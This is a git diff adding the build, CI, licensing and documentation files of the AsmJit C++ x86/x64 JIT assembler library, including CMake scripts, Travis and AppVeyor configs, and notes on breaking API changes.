"Visual Studio 14 2015 Win64" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 14 2015 Win64" + +install: + - if "%TOOLCHAIN%"=="MinGW Makefiles" set PATH=%PATH:C:\Program Files\Git\usr\bin;=% + - if "%TOOLCHAIN%"=="MinGW Makefiles" set PATH=%MINGW_PATH%\bin;%PATH% + +build_script: + - cd c:\dev\asmjit + - md build + - cd build + - if "%TOOLCHAIN%"=="MinGW Makefiles" ( + cmake .. -G"%TOOLCHAIN%" -DCMAKE_PREFIX_PATH="%MINGW_PATH%" -DCMAKE_BUILD_TYPE="%BUILD_TYPE%" -DASMJIT_BUILD_TEST=1 && + mingw32-make + ) + else ( + cmake .. -G"%TOOLCHAIN%" -DASMJIT_BUILD_TEST=1 && + msbuild /m /nologo /v:quiet /p:Configuration=%BUILD_TYPE% asmjit.sln + ) + +test_script: + - if "%TOOLCHAIN%"=="MinGW Makefiles" ( + cd c:\dev\asmjit\build + ) + else ( + cd c:\dev\asmjit\build\%BUILD_TYPE% + ) + - asmjit_test_unit.exe + - asmjit_test_x86_asm.exe + - asmjit_test_x86_cc.exe diff --git a/asmjit/.gitignore b/asmjit/.gitignore new file mode 100644 index 0000000..71badb6 --- /dev/null +++ b/asmjit/.gitignore @@ -0,0 +1,5 @@ +.kdev4 +*.kdev4 +build +build_* +tools/asmdb diff --git a/asmjit/.travis.yml b/asmjit/.travis.yml new file mode 100644 index 0000000..dd4fbda --- /dev/null +++ b/asmjit/.travis.yml @@ -0,0 +1,57 @@ +language: cpp + +os: [linux, osx] +compiler: [gcc, clang] + +addons: + apt: + packages: [cmake, gcc-multilib, g++-multilib, valgrind] + sources: [ubuntu-toolchain-r-test] + +env: + matrix: + - BUILD_TYPE=Debug CFLAGS=-m32 CXXFLAGS=-m32 + - BUILD_TYPE=Debug CFLAGS=-m64 CXXFLAGS=-m64 + - BUILD_TYPE=Release CFLAGS=-m32 CXXFLAGS=-m32 + - BUILD_TYPE=Release CFLAGS=-m64 CXXFLAGS=-m64 + +matrix: + exclude: + - os: osx + compiler: gcc + - os: linux + compiler: clang # Clang requires standard library used by GCC 4.9+, which fails on Travis. + +install: + - | + if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then + CMAKE_PACKAGE="https://cmake.org/files/v3.6/cmake-3.6.2-Linux-x86_64.tar.gz" + mkdir -p deps/cmake + wget --no-check-certificate --quiet -O - ${CMAKE_PACKAGE} | tar --strip-components=1 -xz -C deps/cmake + export PATH=${TRAVIS_BUILD_DIR}/deps/cmake/bin:${PATH} + else + brew update + brew outdated cmake || brew upgrade cmake + fi + +before_script: + - mkdir build + - cd build + - cmake --version + - cmake .. -G"Unix Makefiles" -DCMAKE_BUILD_TYPE="$BUILD_TYPE" -DASMJIT_BUILD_TEST=1 + - cd .. + +script: + - cd build + - make + - cd .. + + - ./build/asmjit_test_unit + - ./build/asmjit_test_opcode > /dev/null + - ./build/asmjit_test_x86_asm + - ./build/asmjit_test_x86_cc + +after_success: + - if [ "$TRAVIS_OS_NAME" = "linux" ]; then valgrind --leak-check=full --show-reachable=yes ./build/asmjit_test_unit; fi; + - if [ "$TRAVIS_OS_NAME" = "linux" ]; then valgrind --leak-check=full --show-reachable=yes ./build/asmjit_test_x86_asm; fi; + - if [ "$TRAVIS_OS_NAME" = "linux" ]; then valgrind --leak-check=full --show-reachable=yes ./build/asmjit_test_x86_cc; fi; diff --git a/asmjit/BREAKING.md b/asmjit/BREAKING.md new file mode 100644 index 0000000..2ff5710 --- /dev/null +++ b/asmjit/BREAKING.md @@ -0,0 +1,75 @@ +2016-07-20 +---------- + + * Global `asmjit_cast<>` removed and introduced a more type-safe `asmjit::ptr_cast<>`, which can cast a function to `void*` (and vice-versa), but will refuse to cast a function to `void**`, for example. Just change `asmjit_cast` to `asmjit::ptr_cast` and everything should work as usual. As a consequence, the Runtime now contains a typesafe (templated) `add()` and `remove()` methods that accept a function type directly, no need to cast manually to `void*` and `void**`. If you use your own runtime rename your virtual methods from `add` to `_add` and from `release` to `_release` and enjoy the type-safe wrappers. + * Removed `Logger::Style` and `uint32_t style` parameter in Logging API. It was never used for anything so it was removed. + * There is a new `CodeEmitter` base class that defines assembler building blocks that are implemented by `Assembler` and `CodeBuilder`. `CodeCompiler` is now based on `CodeBuilder` and shares its instruction storage functionality. Most API haven't changed, just base classes and new functionality has been added. It's now possible to serialize code for further processing by using `CodeBuilder`. + * Renamed compile-time macro `ASMJIT_DISABLE_LOGGER` to `ASMJIT_DISABLE_LOGGING`. There is a new `Formatter` class which is also disabled with this option. + + * Operand API is mostly intact, omitting Var/Reg should fix most compile-time errors. There is now no difference between a register index and register id internally. If you ever used `reg.getRegIndex()` then use `reg.getId()` instead. Also renamed `isInitialized()` to `isValid()`. + * There are much more changes, but they are mostly internal and keeping most operand methods compatible. + * Added new functionality into `asmjit::x86` namespace related to operands. + * X86Xmm/X86Ymm/X86Zmm register operands now inherit from X86Vec. + * Register kind (was register class) is now part of `Reg` operand, you can get it by using `reg.getRegKind()`. + * Register class enum moved to `X86Reg`, `kX86RegClassGp` is now `X86Reg::kKindGp`. + * Register type enum moved to `X86Reg`, `kX86RegTypeXmm` is now `X86Reg::kRegXmm`. + * Register index enum moved to `X86Gp`, `kX86RegIndexAx` is now `X86Gp::kIdAx`. + * Segment index enum moved to `X86Seg`, `kX86SegFs` is now `X86Seg::kIdFs`. + * If you used `asmjit::noOperand` for any reason, change it to `Operand()`. + + * CodeBuilder and CodeCompiler now contain different prefix of their nodes to distinguish between them: + + * Rename `HLNode` to `CBNode` (CodeBuilder node). + * Rename all other `HL` to `CB`. + * Rename `X86FuncNode` to `CCFunc` (CodeCompiler function), no more arch specific prefixes here. + * Rename `X86CallNode` to `CCFuncCall` (CodeCompiler function-call), also, no more X86 prefix. + + * AsmJit now uses CodeHolder to hold code. You don't need `Runtime` anymore if you don't plan to execute the code or if you plan to relocate it yourself: + +```c++ +CodeHolder code; // Create CodeHolder (holds the code). +code.init(CodeInfo(ArchInfo::kIdX64)); // Initialize CodeHolder to hold X64 code. + +// Everything else as usual: +X86Assembler a(&code); // Create the emitter (Assembler, CodeBuilder, CodeCompiler). +``` + + * Initializing with JitRuntime involves using CodeHolder: + +```c++ +JitRuntime rt; // Create JitRuntime. + +CodeHolder code; // Create CodeHolder. +code.init(rt.getCodeInfo()); // Initialize CodeHolder to match the JitRuntime. + +X86Assembler a(&code); // Create the emitter (Assembler, CodeBuilder, CodeCompiler). +... // Generate some code. + +typedef void (*SomeFunc)(void); // Prototype of the function you generated. + +SomeFunc func; // Function pointer. +Error err = rt.add(&func, &code); // Add the generated function to the runtime. + +rt.remove(func); // Remove the generated function from the runtime. +``` + + * Merged virtual registers (known as variables or Vars) into registers themselves, making the interface simpler: + +```c++ +X86GpReg/X86GpVar merged to X86Gp +X86MmReg/X86MmVar merged to X86Mm +X86XmmReg/X86XmmVar merged to X86Xmm +X86YmmReg/X86YmmVar merged to X86Ymm +``` + + * Refactored instruction database, moved many enums related to instructions into `X86Inst`. Also some instructions were wrong (having wrong signature in Assembler and Compiler) and were fixed. + +```c++ +X86InstInfo renamed to X86Inst +kX86InstIdSomething renamed to X86Inst::kIdSomething +kX86InstOptionSomething renamed to X86Inst::kOptionSomething +kX86CondSomething renamed to X86Inst::kCondSomething +kX86CmpSomething renamed to X86Inst::kCmpSomething +kX86VCmpSomething renamed to X86Inst::kVCmpSomething +kX86PrefetchSomething renamed to X86Inst::kPrefetchSomething +``` diff --git a/asmjit/CMakeLists.txt b/asmjit/CMakeLists.txt new file mode 100644 index 0000000..bfb4fb5 --- /dev/null +++ b/asmjit/CMakeLists.txt @@ -0,0 +1,240 @@ +cmake_minimum_required(VERSION 3.1) + +# Don't create a project if it was already created by another CMakeLists.txt. +# This allows one library to embed another library without a project collision. +if(NOT CMAKE_PROJECT_NAME OR "${CMAKE_PROJECT_NAME}" STREQUAL "asmjit") + project(asmjit C CXX) +endif() + +if (NOT DEFINED ASMJIT_EMBED) + set(ASMJIT_EMBED FALSE) +endif() + +if (NOT DEFINED ASMJIT_STATIC) + set(ASMJIT_STATIC ${ASMJIT_EMBED}) +endif() + +if (NOT DEFINED ASMJIT_BUILD_ARM) + set(ASMJIT_BUILD_ARM FALSE) +endif() + +if (NOT DEFINED ASMJIT_BUILD_X86) + set(ASMJIT_BUILD_X86 FALSE) +endif() + +if (NOT DEFINED ASMJIT_BUILD_TEST) + set(ASMJIT_BUILD_TEST FALSE) +endif() + +# ============================================================================= +# [AsmJit - Configuration] +# ============================================================================= + +set(ASMJIT_DIR "${CMAKE_CURRENT_LIST_DIR}" CACHE PATH "Location of 'asmjit'") +set(ASMJIT_EMBED ${ASMJIT_EMBED} CACHE BOOLEAN "Embed 'asmjit' library (no targets)") +set(ASMJIT_STATIC ${ASMJIT_STATIC} CACHE BOOLEAN "Build 'asmjit' library as static") +set(ASMJIT_BUILD_ARM ${ASMJIT_BUILD_ARM} CACHE BOOLEAN "Build ARM32/ARM64 backends") +set(ASMJIT_BUILD_X86 ${ASMJIT_BUILD_X86} CACHE BOOLEAN "Build X86/X64 backends") +set(ASMJIT_BUILD_TEST ${ASMJIT_BUILD_TEST} CACHE BOOLEAN "Build 'asmjit_test' applications") + +# ============================================================================= +# [AsmJit - Project] +# ============================================================================= + +include("${ASMJIT_DIR}/CxxProject.cmake") + +cxx_project(asmjit) +cxx_detect_standard(ASMJIT_PRIVATE_CFLAGS) + +if("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC") + set(ASMJIT_PRIVATE_LFLAGS "/OPT:REF /OPT:ICF") + + list(APPEND ASMJIT_PRIVATE_CFLAGS /GF) + list(APPEND ASMJIT_PRIVATE_CFLAGS_DBG /GS /GR-) + list(APPEND ASMJIT_PRIVATE_CFLAGS_REL /Oi /Oy /GS- /GR-) + + # Enable multi-process compilation. + if(NOT MSVC60 AND NOT MSVC70 AND NOT MSVC71) + list(APPEND ASMJIT_PRIVATE_CFLAGS /MP) + endif() +endif() + +if("${CMAKE_CXX_COMPILER_ID}" MATCHES "^(GNU|Clang)$") + cxx_detect_cflags(ASMJIT_PRIVATE_CFLAGS + "-fno-tree-vectorize" + "-fvisibility=hidden" + "-Winconsistent-missing-override") + cxx_detect_cflags(ASMJIT_PRIVATE_CFLAGS_REL + "-O2" # CMake by default uses -O3, which does nothing useful. + "-fno-keep-static-consts" + "-fmerge-all-constants") +endif() + +if(WIN32) + list(APPEND ASMJIT_PRIVATE_CFLAGS "${CXX_DEFINE}_UNICODE") +else() + list(APPEND ASMJIT_DEPS pthread) +endif() + +if("${CMAKE_SYSTEM_NAME}" MATCHES "Linux") + list(APPEND ASMJIT_DEPS rt) +endif() + +set(ASMJIT_LIBS ${ASMJIT_DEPS}) +if(NOT ASMJIT_EMBED) + list(INSERT ASMJIT_LIBS 0 asmjit) +endif() + +foreach(BUILD_OPTION + ASMJIT_BUILD_ARM + ASMJIT_BUILD_X86 + ASMJIT_DISABLE_BUILDER + ASMJIT_DISABLE_COMPILER + ASMJIT_DISABLE_TEXT + ASMJIT_DISABLE_LOGGING + ASMJIT_DISABLE_VALIDATION) + if(${BUILD_OPTION}) + List(APPEND ASMJIT_CFLAGS "${CXX_DEFINE}${BUILD_OPTION}") + List(APPEND ASMJIT_PRIVATE_CFLAGS "${CXX_DEFINE}${BUILD_OPTION}") + endif() +endforeach() + +cxx_project_info(asmjit) + +# ============================================================================= +# [AsmJit - Source] +# ============================================================================= + +set(ASMJIT_SRC "") + +cxx_add_source(asmjit ASMJIT_SRC asmjit + asmjit.h + asmjit_apibegin.h + asmjit_apiend.h + asmjit_build.h + base.h + arm.h + x86.h +) + +cxx_add_source(asmjit ASMJIT_SRC asmjit/base + arch.cpp + arch.h + assembler.cpp + assembler.h + codebuilder.cpp + codebuilder.h + codecompiler.cpp + codecompiler.h + codeemitter.cpp + codeemitter.h + codeholder.cpp + codeholder.h + constpool.cpp + constpool.h + cpuinfo.cpp + cpuinfo.h + func.cpp + func.h + globals.cpp + globals.h + inst.cpp + inst.h + logging.cpp + logging.h + misc_p.h + operand.cpp + operand.h + osutils.cpp + osutils.h + regalloc.cpp + regalloc_p.h + runtime.cpp + runtime.h + simdtypes.h + string.cpp + string.h + utils.cpp + utils.h + vmem.cpp + vmem.h + zone.cpp + zone.h +) + +if(0) +cxx_add_source(asmjit ASMJIT_SRC asmjit/arm + armassembler.cpp + armassembler.h + arminst.cpp + arminst.h + armoperand.cpp + armoperand_regs.cpp + armoperand.h +) +endif() + +cxx_add_source(asmjit ASMJIT_SRC asmjit/x86 + x86assembler.cpp + x86assembler.h + x86builder.cpp + x86builder.h + x86compiler.cpp + x86compiler.h + x86emitter.h + x86globals.h + x86internal.cpp + x86internal_p.h + x86inst.cpp + x86inst.h + x86instimpl.cpp + x86instimpl_p.h + x86logging.cpp + x86logging_p.h + x86misc.h + x86operand.cpp + x86operand_regs.cpp + x86operand.h + x86regalloc.cpp + x86regalloc_p.h +) + +# ============================================================================= +# [AsmJit - Targets] +# ============================================================================= + +if(NOT ASMJIT_EMBED) + # Add `asmjit` library. + cxx_add_library(asmjit asmjit + "${ASMJIT_SRC}" + "${ASMJIT_DEPS}" + "${ASMJIT_PRIVATE_CFLAGS}" + "${ASMJIT_PRIVATE_CFLAGS_DBG}" + "${ASMJIT_PRIVATE_CFLAGS_REL}") + + foreach(_src_file ${ASMJIT_SRC}) + get_filename_component(_src_dir ${_src_file} PATH) + get_filename_component(_src_name ${_src_file} NAME) + string(REGEX REPLACE "^${ASMJIT_SOURCE_DIR}/" "" targetpath "${_src_dir}") + if("${_src_name}" MATCHES ".h$") + if(NOT "${_src_name}" MATCHES "_p.h$") + install(FILES ${_src_file} DESTINATION "include/${targetpath}") + endif() + endif() + endforeach() + + # Add `asmjit` tests and samples. + if(ASMJIT_BUILD_TEST) + cxx_add_source(asmjit ASMJIT_TEST_SRC ../test asmjit_test_unit.cpp broken.cpp broken.h) + cxx_add_executable(asmjit asmjit_test_unit + "${ASMJIT_SRC};${ASMJIT_TEST_SRC}" + "${ASMJIT_DEPS}" + "${ASMJIT_PRIVATE_CFLAGS};${CXX_DEFINE}ASMJIT_TEST;${CXX_DEFINE}ASMJIT_EMBED" + "${ASMJIT_PRIVATE_CFLAGS_DBG}" + "${ASMJIT_PRIVATE_CFLAGS_REL}") + + foreach(_target asmjit_bench_x86 asmjit_test_opcode asmjit_test_x86_asm asmjit_test_x86_cc) + cxx_add_executable(asmjit ${_target} "test/${_target}.cpp" "${ASMJIT_LIBS}" "${ASMJIT_CFLAGS}" "" "") + endforeach() + endif() +endif() diff --git a/asmjit/CxxProject.cmake b/asmjit/CxxProject.cmake new file mode 100644 index 0000000..b0c9a6c --- /dev/null +++ b/asmjit/CxxProject.cmake @@ -0,0 +1,335 @@ +# CxxProject 1.0.0 +# ---------------- + +if (NOT __CXX_INCLUDED) + set(__CXX_INCLUDED TRUE) + include(CheckCXXCompilerFlag) + + # --------------------------------------------------------------------------- + # C++ COMPILER SUPPORT: + # + # * cxx_detect_cflags(out, ...) + # * cxx_detect_standard(out) + # --------------------------------------------------------------------------- + function(cxx_detect_cflags out) + set(out_array ${${out}}) + + foreach(flag ${ARGN}) + string(REGEX REPLACE "[-=:;/.\+]" "_" flag_signature "${flag}") + check_cxx_compiler_flag(${flag} "__CxxFlag_${flag_signature}") + if(${__CxxFlag_${flag_signature}}) + list(APPEND out_array "${flag}") + endif() + endforeach() + + set(${out} "${out_array}" PARENT_SCOPE) + endfunction() + + function(cxx_detect_standard out) + set(out_array) + + if("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC") + cxx_detect_cflags(out_array "/std:c++latest" "/std:c++14") + else() + cxx_detect_cflags(out_array "-std=c++17" "-std=c++14" "-std=c++11" "-std=c++0x") + endif() + + # Keep only the first flag detected, which keeps the highest version supported. + if(out_array) + list(GET out_array 0 out_array) + endif() + + set(out_array ${${out}} ${out_array}) + set(${out} "${out_array}" PARENT_SCOPE) + endfunction() + + function(cxx_print_cflags cflags_any cflags_dbg cflags_rel) + foreach(flag ${cflags_any}) + message(" ${flag}") + endforeach() + foreach(flag ${cflags_dbg}) + message(" ${flag} [DEBUG]") + endforeach() + foreach(flag ${cflags_rel}) + message(" ${flag} [RELEASE]") + endforeach() + endfunction() + + # ----------------------------------------------------------------------------- + # This part detects the c++ compiler and fills basic CXX_... variables to make + # integration with that compiler easier. It provides the most common flags in + # a cross-platform way. + # ----------------------------------------------------------------------------- + set(CXX_DEFINE "-D") # Define a preprocessor macro: "${CXX_DEFINE}VAR=1" + set(CXX_INCLUDE "-I") # Define an include directory: "${CXX_INCLUDE}PATH" + + set(CXX_CFLAGS_SSE "") # Compiler flags to build a file that uses SSE intrinsics. + set(CXX_CFLAGS_SSE2 "") # Compiler flags to build a file that uses SSE2 intrinsics. + set(CXX_CFLAGS_SSE3 "") # Compiler flags to build a file that uses SSE3 intrinsics. + set(CXX_CFLAGS_SSSE3 "") # Compiler flags to build a file that uses SSSE3 intrinsics. + set(CXX_CFLAGS_SSE4_1 "") # Compiler flags to build a file that uses SSE4.1 intrinsics. + set(CXX_CFLAGS_SSE4_2 "") # Compiler flags to build a file that uses SSE4.2 intrinsics. + set(CXX_CFLAGS_AVX "") # Compiler flags to build a file that uses AVX intrinsics. + set(CXX_CFLAGS_AVX2 "") # Compiler flags to build a file that uses AVX2 intrinsics. + + if("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC") + set(CXX_DEFINE "/D") + set(CXX_INCLUDE "/I") + + # 64-bit MSVC compiler doesn't like /arch:SSE[2] as it's implicit. + if(NOT CMAKE_CL_64) + list(APPEND CXX_CFLAGS_SSE "/arch:SSE") + list(APPEND CXX_CFLAGS_SSE2 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE3 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSSE3 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE4_1 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE4_2 "/arch:SSE2") + endif() + + # MSVC doesn't provide any preprocessor definitions to detect SSE3+, + # these unify MSVC with definitions defined by Intel|Clang|GCC. + list(APPEND CXX_CFLAGS_SSE "${CXX_DEFINE}__SSE__") + list(APPEND CXX_CFLAGS_SSE2 "${CXX_DEFINE}__SSE2__") + list(APPEND CXX_CFLAGS_SSE3 "${CXX_DEFINE}__SSE3__") + list(APPEND CXX_CFLAGS_SSSE3 "${CXX_DEFINE}__SSSE3__") + list(APPEND CXX_CFLAGS_SSE4_1 "${CXX_DEFINE}__SSE4_1__") + list(APPEND CXX_CFLAGS_SSE4_2 "${CXX_DEFINE}__SSE4_2__") + + # AVX/AVX2 doesn't need custom defs as MSVC does define __AVX[2]__ by itself. + cxx_detect_cflags(CXX_CFLAGS_AVX "/arch:AVX") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "/arch:AVX2") + elseif("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel" AND WIN32) + # Intel on Windows uses CL syntax. + set(CXX_DEFINE "/D") + set(CXX_INCLUDE "/I") + + # Intel deprecated /arch:SSE, so it's implicit. In contrast to MSVC, Intel + # also provides /arch:SSE3+ options and uses the same definitions as GCC + # and Clang, so no magic needed here. + cxx_detect_cflags(CXX_CFLAGS_SSE2 "/arch:SSE2") + cxx_detect_cflags(CXX_CFLAGS_SSE3 "/arch:SSE3") + cxx_detect_cflags(CXX_CFLAGS_SSSE3 "/arch:SSSE3") + cxx_detect_cflags(CXX_CFLAGS_SSE4_1 "/arch:SSE4.1") + cxx_detect_cflags(CXX_CFLAGS_SSE4_2 "/arch:SSE4.2") + cxx_detect_cflags(CXX_CFLAGS_AVX "/arch:AVX") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "/arch:AVX2") + else() + cxx_detect_cflags(CXX_CFLAGS_SSE "-msse") + cxx_detect_cflags(CXX_CFLAGS_SSE2 "-msse2") + cxx_detect_cflags(CXX_CFLAGS_SSE3 "-msse3") + cxx_detect_cflags(CXX_CFLAGS_SSSE3 "-mssse3") + cxx_detect_cflags(CXX_CFLAGS_SSE4_1 "-msse4.1") + cxx_detect_cflags(CXX_CFLAGS_SSE4_2 "-msse4.2") + cxx_detect_cflags(CXX_CFLAGS_AVX "-mavx") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "-mavx2") + endif() + + # --------------------------------------------------------------------------- + # Function + # cxx_project(product) + # + # Create a master project or embed other project in a master project. + # --------------------------------------------------------------------------- + function(cxx_project product) + string(TOUPPER "${product}" PRODUCT) + + set(MODE_EMBED ${${PRODUCT}_EMBED}) + set(MODE_STATIC ${${PRODUCT}_STATIC}) + + # EMBED implies STATIC. + if(MODE_EMBED) + set(MODE_STATIC TRUE) + set(${PRODUCT}_STATIC TRUE PARENT_SCOPE) + endif() + + # Deduce source and include directories. By default CxxProject assumes that + # both source and include files are located at './src'. + set(SOURCE_DIR "${${PRODUCT}_SOURCE_DIR}") + set(INCLUDE_DIR "${${PRODUCT}_INCLUDE_DIR}") + + if(NOT SOURCE_DIR) + set(SOURCE_DIR "${${PRODUCT}_DIR}/src") + set(${PRODUCT}_SOURCE_DIR "${SOURCE_DIR}" PARENT_SCOPE) + endif() + + if(NOT INCLUDE_DIR) + set(INCLUDE_DIR "${SOURCE_DIR}") + set(${PRODUCT}_INCLUDE_DIR "${INCLUDE_DIR}" PARENT_SCOPE) + endif() + + set(DEPS "") # Dependencies (list of libraries) for the linker. + set(LIBS "") # Dependencies with project included, for consumers. + set(CFLAGS "") # Public compiler flags. + set(PRIVATE_CFLAGS "") # Private compiler flags independent of build type. + set(PRIVATE_CFLAGS_DBG "") # Private compiler flags used by debug builds. + set(PRIVATE_CFLAGS_REL "") # Private compiler flags used by release builds. + set(PRIVATE_LFLAGS "") # Private linker flags. + + if(MODE_EMBED) + list(APPEND CFLAGS "${CXX_DEFINE}${PRODUCT}_EMBED") + list(APPEND PRIVATE_CFLAGS "${CXX_DEFINE}${PRODUCT}_EMBED") + endif() + + if(MODE_STATIC) + list(APPEND CFLAGS "${CXX_DEFINE}${PRODUCT}_STATIC") + list(APPEND PRIVATE_CFLAGS "${CXX_DEFINE}${PRODUCT}_STATIC") + endif() + + # PUBLIC properties - usable by third parties. + set(${PRODUCT}_DEPS "${DEPS}" PARENT_SCOPE) + set(${PRODUCT}_LIBS "${LIBS}" PARENT_SCOPE) + set(${PRODUCT}_CFLAGS "${CFLAGS}" PARENT_SCOPE) + + # PRIVATE properties - only used during build. + set(${PRODUCT}_PRIVATE_CFLAGS "${PRIVATE_CFLAGS}" PARENT_SCOPE) + set(${PRODUCT}_PRIVATE_CFLAGS_DBG "${PRIVATE_CFLAGS_DBG}" PARENT_SCOPE) + set(${PRODUCT}_PRIVATE_CFLAGS_REL "${PRIVATE_CFLAGS_REL}" PARENT_SCOPE) + set(${PRODUCT}_PRIVATE_LFLAGS "${PRIVATE_LFLAGS}" PARENT_SCOPE) + endfunction() + + function(cxx_project_info product) + string(TOUPPER "${product}" PRODUCT) + + set(BUILD_MODE "") + set(BUILD_TEST "") + + if(${PRODUCT}_EMBED) + set(BUILD_MODE "Embed") + elseif(${PRODUCT}_STATIC) + set(BUILD_MODE "Static") + else() + set(BUILD_MODE "Shared") + endif() + + if(${PRODUCT}_BUILD_TEST) + set(BUILD_TEST "On") + else() + set(BUILD_TEST "Off") + endif() + + message("-- [${product}]") + message(" BuildMode=${BUILD_MODE}") + message(" BuildTest=${BUILD_TEST}") + message(" ${PRODUCT}_DIR=${${PRODUCT}_DIR}") + message(" ${PRODUCT}_DEPS=${${PRODUCT}_DEPS}") + message(" ${PRODUCT}_LIBS=${${PRODUCT}_LIBS}") + message(" ${PRODUCT}_CFLAGS=${${PRODUCT}_CFLAGS}") + message(" ${PRODUCT}_SOURCE_DIR=${${PRODUCT}_SOURCE_DIR}") + message(" ${PRODUCT}_INCLUDE_DIR=${${PRODUCT}_INCLUDE_DIR}") + message(" ${PRODUCT}_PRIVATE_CFLAGS=") + cxx_print_cflags( + "${${PRODUCT}_PRIVATE_CFLAGS}" + "${${PRODUCT}_PRIVATE_CFLAGS_DBG}" + "${${PRODUCT}_PRIVATE_CFLAGS_REL}") + endfunction() + + function(cxx_add_source product out src_dir) + string(TOUPPER "${product}" PRODUCT) + + set(src_path "${${PRODUCT}_SOURCE_DIR}/${src_dir}") + set(src_array) + + foreach(file ${ARGN}) + set(src_file "${src_path}/${file}") + set(src_cflags "") + + if(file MATCHES "\\.c|\\.cc|\\.cxx|\\.cpp|\\.m|\\.mm") + if(file MATCHES "_sse\\." AND NOT "${CXX_CFLAGS_SSE}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE}) + endif() + if(file MATCHES "_sse2\\." AND NOT "${CXX_CFLAGS_SSE2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE2}) + endif() + if(file MATCHES "_sse3\\." AND NOT "${CXX_CFLAGS_SSE3}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE3}) + endif() + if(file MATCHES "_ssse3\\." AND NOT "${CXX_CFLAGS_SSSE3}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSSE3}) + endif() + if(file MATCHES "_sse4_1\\." AND NOT "${CXX_CFLAGS_SSE4_1}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE4_1}) + endif() + if(file MATCHES "_sse4_2\\." AND NOT "${CXX_CFLAGS_SSE4_2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_SSE4_2}) + endif() + if(file MATCHES "_avx\\." AND NOT "${CXX_CFLAGS_AVX}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_AVX}) + endif() + if(file MATCHES "_avx2\\." AND NOT "${CXX_CFLAGS_AVX2}" STREQUAL "") + list(APPEND src_cflags ${CXX_CFLAGS_AVX2}) + endif() + + # HACK: Setting `COMPILE_FLAGS` property cannot be used when your input + # is LIST, even when you use `VALUE1 VALUE2 ...` as cmake would insert + # escaped semicolons instead of spaces. So let's make it the cmake way: + # - nonituitive, verbose, and idiotic. + if(NOT "${src_cflags}" STREQUAL "") + foreach(src_cflag ${src_cflags}) + set_property(SOURCE "${src_file}" APPEND_STRING PROPERTY COMPILE_FLAGS " ${src_cflag}") + endforeach() + endif() + endif() + list(APPEND src_array ${src_file}) + endforeach() + source_group(${src_dir} FILES ${src_array}) + + set(out_tmp ${${out}}) + list(APPEND out_tmp ${src_array}) + set("${out}" "${out_tmp}" PARENT_SCOPE) + endfunction() + + function(cxx_add_library product target src deps cflags cflags_dbg cflags_rel) + string(TOUPPER "${product}" PRODUCT) + + if(NOT ${PRODUCT}_STATIC) + add_library(${target} SHARED ${src}) + else() + add_library(${target} STATIC ${src}) + endif() + + target_link_libraries(${target} ${deps}) + if (NOT "${${PRODUCT}_PRIVATE_LFLAGS}" STREQUAL "") + set_target_properties(${target} PROPERTIES LINK_FLAGS "${${PRODUCT}_PRIVATE_LFLAGS}") + endif() + + if(CMAKE_BUILD_TYPE) + if("${CMAKE_BUILD_TYPE}" STREQUAL "Debug") + target_compile_options(${target} PRIVATE ${cflags} ${cflags_dbg}) + else() + target_compile_options(${target} PRIVATE ${cflags} ${cflags_rel}) + endif() + else() + target_compile_options(${target} PRIVATE ${cflags} $<$:${cflags_dbg}> $<$>:${cflags_rel}>) + endif() + + if(NOT ${PRODUCT}_STATIC) + install(TARGETS ${target} RUNTIME DESTINATION "bin" + LIBRARY DESTINATION "lib${LIB_SUFFIX}" + ARCHIVE DESTINATION "lib${LIB_SUFFIX}") + endif() + endfunction() + + function(cxx_add_executable product target src deps cflags cflags_dbg cflags_rel) + string(TOUPPER "${product}" PRODUCT) + add_executable(${target} ${src}) + + target_link_libraries(${target} ${deps}) + if (NOT "${${PRODUCT}_PRIVATE_LFLAGS}" STREQUAL "") + set_target_properties(${target} PROPERTIES LINK_FLAGS "${${PRODUCT}_PRIVATE_LFLAGS}") + endif() + + if(CMAKE_BUILD_TYPE) + if("${CMAKE_BUILD_TYPE}" STREQUAL "Debug") + target_compile_options(${target} PRIVATE ${cflags} ${cflags_dbg}) + else() + target_compile_options(${target} PRIVATE ${cflags} ${cflags_rel}) + endif() + else() + target_compile_options(${target} PRIVATE ${cflags} $<$:${cflags_dbg}> $<$>:${cflags_rel}>) + endif() + + if(NOT ${PRODUCT}_STATIC) + install(TARGETS ${target} DESTINATION "lib${LIB_SUFFIX}") + endif() + endfunction() +endif() diff --git a/asmjit/LICENSE.md b/asmjit/LICENSE.md new file mode 100644 index 0000000..9f8aad2 --- /dev/null +++ b/asmjit/LICENSE.md @@ -0,0 +1,18 @@ +AsmJit - Complete x86/x64 JIT and Remote Assembler for C++ +Copyright (c) 2008-2016, Petr Kobalicek + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. +2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. +3. This notice may not be removed or altered from any source distribution. diff --git a/asmjit/README.md b/asmjit/README.md new file mode 100644 index 0000000..cb3a3a7 --- /dev/null +++ b/asmjit/README.md @@ -0,0 +1,1735 @@ +AsmJit +------ + +Complete x86/x64 JIT and Remote Assembler for C++. + + * [Official Repository (asmjit/asmjit)](https://github.com/asmjit/asmjit) + * [Official Blog (asmbits)](https://asmbits.blogspot.com/ncr) + * [Official Chat (gitter)](https://gitter.im/asmjit/asmjit) + * [Permissive ZLIB license](./LICENSE.md) + +Introduction 